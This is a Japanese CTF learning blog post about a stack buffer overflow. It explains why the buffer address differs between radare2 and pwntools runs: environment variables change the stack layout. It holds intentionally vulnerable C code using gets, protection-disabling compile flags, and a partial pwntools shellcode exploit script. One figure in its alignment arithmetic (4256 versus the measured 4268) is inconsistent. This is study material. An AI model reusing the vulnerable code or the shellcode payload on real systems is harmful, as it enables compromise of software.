Pwn入門してRadare2を使ってたらハマった話
最近、バイナリ系のCTF問題へ挑戦しようと思い、友人と勉強会をしていたらハマったので知見を共有します。
こちらの超網羅的でめっちゃためになるPwn系の入門記事を使って学んでいた際に事は起きました。
多分、問題としてはとても簡単、gets
で受け取るローカル変数をオーバーフローさせて、returnアドレスを書き換え、getsで渡すスタックの先頭アドレスに飛ばし、shellを取るためのコードを実行させシェルを奪取するというもの。
Radare2経由で実行したときとpwntoolが実行するときでスタックのアドレスが違う
ASLRは無効になっている
この手法を成立させるためには実行中のプログラムの重要なある情報を2つ知らなければなりません。
-
gets
した結果が格納されるスタック上の配列の先頭アドレス - その先頭アドレスからスタック上のリターンアドレスまでのオフセット
後者については De Brujin Sequencesを使って簡単に求めることができ、固定です。
前者については場合によっては実行ごとに変わってしまい、事前に予測することが難しくなります。これを防ぐために、ASLR(Address Space Layout Randomization)が今回は無効になっている環境で実行します.
実際、ASLRを無効にした後はRadare上で何回実行しても、スタックの先頭アドレスは常に一定の値になっていました。
pwntoolでinteractive()を実行するとBroken Pipeになる
今までr2 -d -A ./vuln
とプログラムを実行し、スタックの先頭アドレスを取得し、攻撃用Pythonコードにそちらのアドレスを指定します。
しかし、returnアドレスがどうやら間違っているようで、Segmentation Faultが発生します。
そこで、以下のようなCのコードを書いて検証を行ってみました。
#include <stdio.h>
void unsafe(){
char buffer[300];
printf("%x",buffer);
gets(buffer);
}
void main() {
unsafe();
}
これを以下のようにコンパイルします。
$ gcc source.c -o vuln -fno-pie -no-pie -fno-stack-protector -z execstack -m32
これをradareで解析すると以下のようになります。
0x080491c6
移行でのEBPレジスタ マイナス 0x134の値が今回必要な値になります。ASLRは無効にしているので、この値がRadare2で実行(r2 -d -A ./vuln
)する限りは当然毎回同じ値が出てきます。
しかし、pwntoolを使って以下のようなコードを書いて実行すると、毎回同じ値は出てきますがRadare2と実行したときと違うアドレスが出てきます。
from pwn import *
p = process('./vuln')
print(p.clean())
payload = asm(shellcraft.sh())
payload = payload.ljust(312, b'A')
# payload += p32(0xffffc9f4) # <= 今回はまだこれを入れてないのでリターンアドレスは書き換わらない
p.sendline(payload)
p.interactive()
犯人は環境変数
スタックには環境変数や引数も乗るよということを聞いたので、実際にこれが原因でアドレスが変わってしまうのか検証しました。
$ ./vuln
0xffffcb24
# 別の端末で上のプロセスが実行中に以下を実行
$ cat /proc/<vulnのpid>/environ | wc => 4268文字
$ cat /proc/<vulnのpid>/cmdline => ./vuln
$python ./exploit.py
0xffffc9f4
# 別の端末で上のプロセスが実行中に以下を実行
$ cat /proc/<Pythonの子プロセスのvulnのpid>/environ | wc => 4576文字
$ cat /proc/<Pythonの子プロセスのvulnのpid>/cmdline => ./vuln
確かに2つの実行方法で与えられている環境変数は異なるようです。さらに、文字数の差とアドレスの差を見てみます。
直接実行 | Pythonからの実行 | 差分(直接 - Python) | |
---|---|---|---|
環境変数の文字数 | 4268文字 | 4576文字 | -308 文字 |
buffer変数の先頭アドレス | 0xffffcb24 | 0xffffc9f4 | 304byte |
これをみると、アドレスの差分と環境変数の文字列の差分、近いけど逆じゃないかってなりますが、スタックを積んでいくと、スタックの先頭アドレスは0に近い方向へ減っていくので実は正しいということになります。
また、x86ではスタックが16byteごとにアラインメントが取られるようになっているらしく、304/16 = 19
なので割れる方向にアラインメントを取っているのではないかと言えます。
- 4576 ÷ 16 = 286なのでそのままスタックに乗る
- 4256 ÷ 16 = 266.75なので、16 * 267 = 4272にアラインメントされると思われる
これで4576 - 4272 = 304 byteとなっていたと実際に論理的に結論付けられます。
余談1) 環境変数なしで実行してみる
環境変数無しで実行するとやはり同じアドレスが帰ってくることがわかる。
import subprocess
subprocess.run("./vuln",env={}) # <- 環境変数を空にして実行
$ python ./exploit.py
0xffffdd34
$ env - ./vuln # <- 環境変数を一切つけずに実行
0xffffdd34
余談2) mainに直接書くとわかりやすい?
Cのコードを以下のように改変すると少しわかりやすいかもしれない。
#include <stdio.h>
void main() {
char buffer[300];
printf("%x",buffer);
gets(buffer);
}
Radare2でみるとこんな感じ
まず、argv
が引数として補完されていて、これがスタックに含まれていそうなことが分かる.
可変長だしスタックよりヒープに確保される気がしたけど、そうすると終了時の開放を考慮しなければならないからスタックに格納することになっているのかな。
Discussion